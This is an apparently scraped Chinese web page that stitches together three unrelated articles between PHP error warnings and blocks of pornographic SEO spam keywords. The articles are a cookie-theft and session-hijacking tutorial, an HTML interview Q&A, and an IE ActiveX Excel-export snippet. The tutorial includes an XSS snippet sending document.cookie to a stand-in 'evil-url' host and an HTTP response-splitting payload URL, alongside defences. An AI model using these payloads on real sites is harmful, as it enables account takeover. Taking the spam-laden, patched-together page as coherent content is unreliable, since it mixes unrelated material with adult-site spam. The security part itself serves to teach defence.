Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 日本大片免aaa费观看视频,亚洲国产成人精品91久久久,手机看片亚洲

          整合營銷服務(wù)商

          電腦端+手機(jī)端+微信端=數(shù)據(jù)同步管理

          免費(fèi)咨詢熱線:

          cookie竊取和session劫持

          、cookie的基本特性

          如果不了解cookie,可以先到wikipedia上學(xué)習(xí)一下。

          http request

          瀏覽器向服務(wù)器發(fā)起的每個(gè)請(qǐng)求都會(huì)帶上cookie:

          Host: www.example.org
          Cookie: foo=value1;bar=value2
          Accept: */*
          

          http response

          服務(wù)器給瀏覽器的返回可以設(shè)置cookie:

          HTTP/1.1 200 OK
          Content-type: text/html
          Set-Cookie: name=value
          Set-Cookie: name2=value2; Expires=Wed,09 June 2021 10:18:32 GMT
           
          (content of page)
          

          二、cookie有關(guān)的術(shù)語

          session cookie

          當(dāng)cookie沒有設(shè)置超時(shí)時(shí)間,那么cookie會(huì)在瀏覽器退出時(shí)銷毀,這種cookie是session cookie。

          persistent cookie/tracking cookie

          設(shè)置了超時(shí)時(shí)間的cookie,會(huì)在指定時(shí)間銷毀,cookie的維持時(shí)間可以持續(xù)到瀏覽器退出之后,這種cookie被持久化在瀏覽器中。很多站點(diǎn)用cookie跟蹤用戶的歷史記錄,例如廣告類站點(diǎn)會(huì)使用cookie記錄瀏覽過哪些內(nèi)容,搜索引擎會(huì)使用cookie記錄歷史搜索記錄,這時(shí)也可以稱作tracking cookie,因?yàn)樗挥糜谧粉櫽脩粜袨椤?/p>

          secure cookie

          服務(wù)器端設(shè)置cookie的時(shí)候,可以指定secure屬性,這時(shí)cookie只有通過https協(xié)議傳輸?shù)臅r(shí)候才會(huì)帶到網(wǎng)絡(luò)請(qǐng)求中,不加密的http請(qǐng)求不會(huì)帶有secure cookie。設(shè)置secure cookie的方式舉例:

          Set-Cookie: foo=bar; Path=/; Secure
          

          HttpOnly cookie

          服務(wù)器端設(shè)置cookie的時(shí)候,也可以指定一個(gè)HttpOnly屬性。

          Set-Cookie: foo=bar; Path=/; HttpOnly
          

          設(shè)置了這個(gè)屬性的cookie在javascript中無法獲取到,只會(huì)在網(wǎng)絡(luò)傳輸過程中帶到服務(wù)器。

          third-party cookie

          第三方cookie的使用場(chǎng)景通常是iframe,例如www.a.com潛入了一個(gè)www.ad.com的廣告iframe,那么www.ad.com設(shè)置的cookie屬于不屬于www.a.com,被稱作第三方cookie。

          supercookie

          cookie會(huì)從屬于一個(gè)域名,例如www.a.com,或者屬于一個(gè)子域,例如b.a.com。但是如果cookie被聲明為屬于.com會(huì)發(fā)生什么?這個(gè)cookie會(huì)在任何.com域名生效。這有很大的安全性問題。這種cookie被稱作supercookie。瀏覽器做出了限制,不允許設(shè)置頂級(jí)域名cookie(例如.com,.net)和pubic suffix cookie(例如.co.uk,.com.cn)?,F(xiàn)代主流瀏覽器都很好的處理了supercookie問題,但是如果有些第三方瀏覽器使用的頂級(jí)域名和public suffix列表有問題,那么就可以針對(duì)supercookie進(jìn)行攻擊啦。

          zombie cookie/evercookie

          僵尸cookie是指當(dāng)用戶通過瀏覽器的設(shè)置清除cookie后可以自動(dòng)重新創(chuàng)建的cookie。原理是通過使用多重技術(shù)記錄同樣的內(nèi)容(例如flash,silverlight),當(dāng)cookie被刪除時(shí),從其他存儲(chǔ)中恢復(fù)。 evercookie是實(shí)現(xiàn)僵尸cookie的主要技術(shù)手段。 了解僵尸cookie和evercookie。

          三、cookie有什么用

          通常cookie有三種主要的用途。

          session管理

          http協(xié)議本身是是無狀態(tài)的,但是現(xiàn)代站點(diǎn)很多都需要維持登錄態(tài),也就是維持會(huì)話。最基本的維持會(huì)話的方式是Base Auth,但是這種方式,用戶名和密碼在每次請(qǐng)求中都會(huì)以明文的方式發(fā)送到客戶端,很容易受到中間人攻擊,存在很大的安全隱患。所以現(xiàn)在大多數(shù)站點(diǎn)采用基于cookie的session管理方式:用戶登陸成功后,設(shè)置一個(gè)唯一的cookie標(biāo)識(shí)本次會(huì)話,基于這個(gè)標(biāo)識(shí)進(jìn)行用戶授權(quán)。只要請(qǐng)求中帶有這個(gè)標(biāo)識(shí),都認(rèn)為是登錄態(tài)。

          個(gè)性化

          cookie可以被用于記錄一些信息,以便于在后續(xù)用戶瀏覽頁面時(shí)展示相關(guān)內(nèi)容。典型的例子是購物站點(diǎn)的購物車功能。以前Google退出的iGoogle產(chǎn)品也是一個(gè)典型的例子,用戶可以擁有自己的Google自定制主頁,其中就使用了cookie。

          user tracking

          cookie也可以用于追蹤用戶行為,例如是否訪問過本站點(diǎn),有過哪些操作等。

          四、cookie竊取和session劫持

          本文就cookie的三種用途中session管理的安全問題進(jìn)行展開。 既然cookie用于維持會(huì)話,如果這個(gè)cookie被攻擊者竊取會(huì)發(fā)生什么?session被劫持! 攻擊者劫持會(huì)話就等于合法登錄了你的賬戶,可以瀏覽大部分用戶資源。

          攻擊一旦站點(diǎn)中存在可利用的xss漏洞,攻擊者可直接利用注入的js腳本獲取cookie,進(jìn)而通過異步請(qǐng)求把標(biāo)識(shí)session id的cookie上報(bào)給攻擊者。

          var img = document.createElement('img');
          img.src ='http://evil-url?c='+ encodeURIComponent(document.cookie);
          document.getElementsByTagName('body')[0].appendChild(img);
          

          如何尋找XSS漏洞是另外一個(gè)話題了,自行g(shù)oogle之。 防御 根據(jù)上面HttpOnly cookie的介紹,一旦一個(gè)cookie被設(shè)置為HttpOnly,js腳本就無法再獲取到,而網(wǎng)絡(luò)傳輸時(shí)依然會(huì)帶上。也就是說依然可以依靠這個(gè)cookie進(jìn)行session維持,但客戶端js對(duì)其不可見。那么即使存在xss漏洞也無法簡(jiǎn)單的利用其進(jìn)行session劫持攻擊了。 但是上面說的是無法利用xss進(jìn)行簡(jiǎn)單的攻擊,但是也不是沒有辦法的。既然無法使用document.cookie獲取到,可以轉(zhuǎn)而通過其他的方式。下面介紹兩種xss結(jié)合其他漏洞的攻擊方式。

          xss結(jié)合phpinfo頁面

          攻擊 大家都知道,利用php開發(fā)的應(yīng)用會(huì)有一個(gè)phpinfo頁面。而這個(gè)頁面會(huì)dump出請(qǐng)求信息,其中就包括cookie信息。

          如果開發(fā)者沒有關(guān)閉這個(gè)頁面,就可以利用xss漏洞向這個(gè)頁面發(fā)起異步請(qǐng)求,獲取到頁面內(nèi)容后parse出cookie信息,然后上傳給攻擊者。 phpinfo只是大家最常見的一種dump請(qǐng)求的頁面,但不僅限于此,為了調(diào)試方便,任何dump請(qǐng)求的頁面都是可以被利用的漏洞。 防御關(guān)閉所有phpinfo類dump request信息的頁面。

          XSS + HTTP TRACE = XST

          這是一種古老的攻擊方式,現(xiàn)在已經(jīng)消失,寫在這里可以擴(kuò)展一下攻防思路。http trace是讓我們的web服務(wù)器將客戶端的所有請(qǐng)求信息返回給客戶端的方法。其中包含了HttpOnly的cookie。如果利用xss異步發(fā)起trace請(qǐng)求,又可以獲取session信息了。之所以說是一種古老的攻擊方式,因?yàn)楝F(xiàn)代瀏覽器考慮到XST的危害都禁止了異步發(fā)起trace請(qǐng)求。另外提一點(diǎn),當(dāng)瀏覽器沒有禁止異步發(fā)起trace的時(shí)代,很多開發(fā)者都關(guān)閉了web server的trace支持來防御XST攻擊。但攻擊者在特定的情況下還可以繞過,用戶使用了代理服務(wù)器,而代理服務(wù)器沒有關(guān)閉trace支持,這樣又可以trace了。

          HTTP Response Splitting

          • 參考1
          • 參考2

          通常的XSS攻擊都是把輸入內(nèi)容注入到response的content中,HTTP Response Splitting是一種針對(duì)header的注入。例如,一個(gè)站點(diǎn)接受參數(shù)做302跳轉(zhuǎn):

          www.example.com/?r=http://baidu.com
          

          request信息:

          GET /example.com?r=http://baidu.com

          HTTP/1.1

          Host: example.com

          response:

          HTTP/1.1 302 Found
          Location: http://baidu.com
          Content-Type: text/html
          

          這樣頁面就302跳轉(zhuǎn)到百度了。攻擊者利用r參數(shù)可以注入header,r參數(shù)不是簡(jiǎn)單的url,而是包含的header信息:

           
          http://example.com/?r=%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aX-XSS-Protection:%200%0d%0a%0d%0a%3Chtml%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E%3Ch1%3EDefaced!%3C/h1%3E%3C/html%3E
           
          

          response變成了:

          HTTP/1.1 302 Found
          Location: 
          HTTP/1.1 200 OK
          Content-Type: text/html
          X-XSS-Protection: 0
           
          <html><script>alert(document.cookie)</script><h1>Defaced!</h1></html>
          Content-Type: text/html
          

          有兩個(gè)攻擊要點(diǎn):

          • 指定X=XSS-Protection: 0 ,關(guān)閉瀏覽器的xss保護(hù)機(jī)制。
          • 注入腳本

          防御 針對(duì)header的內(nèi)容做過濾,不能漏掉,特別是Location,host,referrer等。說到底,這也是一種XSS攻擊,只是攻擊方式與普通的不太一樣。針對(duì)header的攻擊還可以做SQL注入等,防御的原則是對(duì)所有的輸入進(jìn)行sanitize,包括非用戶輸入的內(nèi)容,比如referrer這種一般由瀏覽器帶過來的信息,因?yàn)檎?qǐng)求完全可以被偽造,未必來自瀏覽器。

          網(wǎng)絡(luò)監(jiān)聽(network eavesdropping/network sniffing)

          以上是利用上層應(yīng)用的特性的幾種攻擊方式,cookie不僅存在于上層應(yīng)用中,更流轉(zhuǎn)于請(qǐng)求中。上層應(yīng)用獲取不到后,攻擊者可以轉(zhuǎn)而從網(wǎng)絡(luò)請(qǐng)求中獲取。只要是未使用https加密的網(wǎng)站都可以抓包分析,其中就包含了標(biāo)識(shí)session的cookie。當(dāng)然,完成網(wǎng)絡(luò)監(jiān)聽需要滿足一定的條件,這又是另外一個(gè)話題了。常見的方式:

          • DNS緩存投毒攻擊者把要攻擊的域名的一個(gè)子域映射到攻擊者的server,然后想辦法讓被攻擊者訪問這個(gè)server(XSS request、社會(huì)化攻擊等),請(qǐng)求中會(huì)帶過來所有cookie(包括HttpOnly)。
          • 中間人攻擊常見的攻擊方式是搭建免費(fèi)wifi,把DHCP服務(wù)器指定為攻擊者ip,在攻擊者機(jī)器上可以收到所有請(qǐng)求,不僅可以獲取cookie,還可以進(jìn)行腳本注入。
          • 代理服務(wù)器/VPN翻墻用免費(fèi)VPN?呵呵。

          防御使用https。使用https協(xié)議的請(qǐng)求都被ssl加密,理論上不可破解,即便被網(wǎng)絡(luò)監(jiān)聽也無法通過解密看到實(shí)際的內(nèi)容。防御網(wǎng)絡(luò)監(jiān)聽通常有兩種方式:

          • 信道加密
          • 內(nèi)容加密

          https是加密信道,在此信道上傳輸?shù)膬?nèi)容對(duì)中間人都是不可見的。但https是有成本的。內(nèi)容加密比較好理解,例如對(duì)password先加密再傳輸。但是對(duì)于標(biāo)識(shí)session的cookie這種標(biāo)識(shí)性信息是無法通過內(nèi)容加密得到保護(hù)的。那么,使用https的站點(diǎn)就可以高枕無憂了嗎?事實(shí)上,一些細(xì)節(jié)上的處理不當(dāng)同樣會(huì)暴露出攻擊風(fēng)險(xiǎn)。

          https站點(diǎn)攻擊:雙協(xié)議

          如果同時(shí)支持http和https,那么還是可以使用網(wǎng)絡(luò)監(jiān)聽http請(qǐng)求獲取cookie。 防御只支持https,不支持http。這樣就好了嗎?No.

          https站點(diǎn)攻擊:301重定向

          例如www.example.com只支持https協(xié)議,當(dāng)用戶直接輸入example.com(大部分用戶都不會(huì)手動(dòng)輸入?yún)f(xié)議前綴),web server通常的處理是返回301要求瀏覽器重定向到https://www.example.com。這次301請(qǐng)求是http的!而且?guī)Я薱ookie,這樣又將cookie明文暴露在網(wǎng)絡(luò)上了。 防御1 把標(biāo)識(shí)session的cookie設(shè)置成secure。上面提到的secure cookie,只允許在https上加密傳輸,在http請(qǐng)求中不會(huì)存在,這樣就不會(huì)暴露在未加密的網(wǎng)絡(luò)上了。 然后現(xiàn)實(shí)很殘酷,很多站點(diǎn)根本無法做到所有的請(qǐng)求都走h(yuǎn)ttps。原因有很多,可能是成本考慮,可能是業(yè)務(wù)需求。 防御2 設(shè)置Strict-Transport-Security header,直接省略這個(gè)http請(qǐng)求!用戶首次訪問后,服務(wù)器設(shè)置了這個(gè)header以后,后面就會(huì)省略掉這次http 301請(qǐng)求。

          TML我們也學(xué)了那么久了,是時(shí)候看一些面試題了,畢竟學(xué)習(xí)完找工作要面試,你工作能力再強(qiáng),面試這一關(guān)還是要過得。所以面試題占了很重要的成分。下面我來總結(jié)一部分,盡量全面一些,既要接近我們所學(xué),又要滿足真實(shí)面試場(chǎng)景。

          1、請(qǐng)說出XHTML和HTML的區(qū)別

          答: 1、文檔頂部doctype聲明不同,xhtml的doctype頂部聲明中明確規(guī)定了xhtml DTD的寫法;

          2、html元素必須正確嵌套,不能亂;

          3、屬性必須是小寫的;

          4、屬性值必須加引號(hào);

          5、標(biāo)簽必須有結(jié)束,單標(biāo)簽也應(yīng)該用 “/” 來結(jié)束掉;

          2、請(qǐng)寫出至少5個(gè)HTML塊元素標(biāo)簽

          答: div p ul li table h1 h2 h3 ... h6 form 等

          3、請(qǐng)寫出至少5個(gè)HTML行內(nèi)元素標(biāo)簽

          答:span a i label img input button textarea select 等

          4、請(qǐng)寫出table標(biāo)簽下面會(huì)包含哪些標(biāo)簽元素

          答: tr th td thead tbody tfoot 等

          5、很多網(wǎng)站不常用table iframe這兩個(gè)元素,知道原因嗎?

          答:因?yàn)闉g覽器頁面渲染的時(shí)候是從上至下的,而table 和 iframe 這兩種元素會(huì)改變這樣渲染規(guī)則,他們是要等待自己元素內(nèi)的內(nèi)容加載完才整體渲染。用戶體驗(yàn)會(huì)很不友好。

          6、jpg和png格式的圖片有什么區(qū)別?

          答: jpg是有損壓縮格式,png是無損壓縮格式。所以,相同的圖片,jpg體積會(huì)小。比如我們一些官網(wǎng)的banner圖,一般都很大,所以適合用jpg類型的圖片。但png分8位的和24位的,8位的體積會(huì)小很多,但在某些瀏覽器下8位的png圖片會(huì)有鋸齒。

          7、請(qǐng)用html知識(shí)解決seo優(yōu)化問題

          答: 網(wǎng)站上線應(yīng)該設(shè)置TDK

          TDK就是 :

          然后就是html語義化標(biāo)簽,要簡(jiǎn)潔,合理,這樣可以在css和js加載不全的時(shí)候,使我們的html文檔盡量清晰的展示出來,而不會(huì)特別亂;

          8、常用瀏覽器有哪些,內(nèi)核都是什么?

          答: 常用瀏覽器有 IE 火狐(firefox) chrome safari 360 搜狗 等

          內(nèi)核:IE的是 Trident

          火狐的是 Gecko

          chrome和safari 用的是 Webkit

          360和搜狗這些分極速模式和兼容模式,極速模式用的Webkit的內(nèi)核,兼容模式用的Trident內(nèi)核。

          9、請(qǐng)至少寫出5個(gè)H5的新標(biāo)簽

          答: header nav footer canvas datalist article mark

          10、a標(biāo)簽在新窗口打開鏈接怎么加屬性?

          答: <a target="_blank">鏈接</a>

          11、寫了2個(gè)<a>標(biāo)簽,兩個(gè)標(biāo)簽之間有空格的情況遇到過嗎?

          答:遇到過,一般換行寫的時(shí)候會(huì)出現(xiàn)這種情況。代碼:

          <a>我們</a>

          <a>你們</a>

          這樣“我們”和“你們”之間就會(huì)有明顯的空格,如圖:

          怎么樣,是不是空格挺明顯的。

          解決辦法就是不換行寫,把兩個(gè)a標(biāo)簽寫在一行里。

          12、form標(biāo)簽上定義請(qǐng)求類型的是哪個(gè)屬性?定義請(qǐng)求地址的是哪個(gè)屬性?

          答:form表單定義請(qǐng)求類型的是 method 屬性 , 定義請(qǐng)求地址的是 action屬性

          好啦,基本上html這部分面試題就這么多,肯定還有沒有總結(jié)到的,這些面試題一定要會(huì),甚至比我總結(jié)的多了更好。喜歡文章的小伙伴記得關(guān)注公眾號(hào):書軟

          目中用到需要將頁面數(shù)據(jù)導(dǎo)出 就想到了IE的直接導(dǎo)出。

          將用到的示例給大家分享一下:

          //將表格中的數(shù)據(jù)導(dǎo)出到excel中

          function exportDataToExcel(tid){

          var curTbl = $('#tid');

          var oXLn;

          try{

          oXLn = new ActiveXObject("Excel.Application"); //創(chuàng)建對(duì)象excel

          }catch(e){

          alert("無法啟動(dòng)Excel!\n\n如果您確信您的電腦中已經(jīng)安裝了Excel,"+"那么請(qǐng)調(diào)整IE的安全級(jí)別。\n\n具體操作:\n\n"+"工具 → Internet選項(xiàng) → 安全 → 自定義級(jí)別 → 對(duì)沒有標(biāo)記為安全的ActiveX進(jìn)行初始化和腳本運(yùn)行 → 啟用");

          return false;

          }

          var oWBs = oXLn.Workbooks.Add(); //獲取workbook對(duì)象

          var oSheet1 = oWBs.ActiveSheet;//激活當(dāng)前sheet

          var sel = document.body.createTextRange();

          sel.moveToElementText(curTbl); //把表格中的內(nèi)容移到TextRange中

          sel.select(); //全選TextRange中內(nèi)容

          sel.execCommand("Copy");//復(fù)制TextRange中內(nèi)容

          oSheet1.Paste();//粘貼到活動(dòng)的EXCEL中

          oXLn.Visible = true; //設(shè)置excel可見屬性

          var fname = oXLn.Application.GetSaveAsFilename("將table導(dǎo)出到excel.xls", "Excel Spreadsheets (*.xls), *.xls");

          oWBs.SaveAs(fname);

          oWBs.Close();

          oXLn.nQuit();

          }

          注意:1.電腦必須安裝微軟的excel。

          2.需要將瀏覽器的active控件設(shè)置為啟用。


          主站蜘蛛池模板: 亚洲无删减国产精品一区| 久久高清一区二区三区| 视频一区视频二区日韩专区| 国产乱码精品一区二区三| 久久精品亚洲一区二区| 爱爱帝国亚洲一区二区三区 | 日韩精品一区二区三区不卡| 激情一区二区三区| 无码av中文一区二区三区桃花岛 | 国产伦精品一区二区三区视频金莲 | 亚洲AV一区二区三区四区| 国产AⅤ精品一区二区三区久久| 亚洲福利秒拍一区二区| 亚洲一区二区高清| 亚洲av乱码一区二区三区按摩| 久久久久一区二区三区| 国产精品亚洲高清一区二区| 国产拳头交一区二区| 日韩av片无码一区二区不卡电影 | 精品一区二区三区东京热| 一区二区三区四区视频在线| 一本一道波多野结衣一区| 秋霞无码一区二区| 日本一区二区不卡视频| 91国在线啪精品一区| 国产一区二区免费视频| 一区二区亚洲精品精华液| 亚洲国产国产综合一区首页| 国产日韩精品一区二区三区在线| 视频一区视频二区在线观看| 国产成人欧美一区二区三区| 综合无码一区二区三区四区五区 | 无码人妻精品一区二区三区99性 | 色一情一乱一区二区三区啪啪高| 一区二区在线观看视频| 无码一区二区三区| 无码午夜人妻一区二区三区不卡视频| 国产精品 视频一区 二区三区| 高清一区二区三区视频| 精品一区二区三区电影| 福利一区国产原创多挂探花|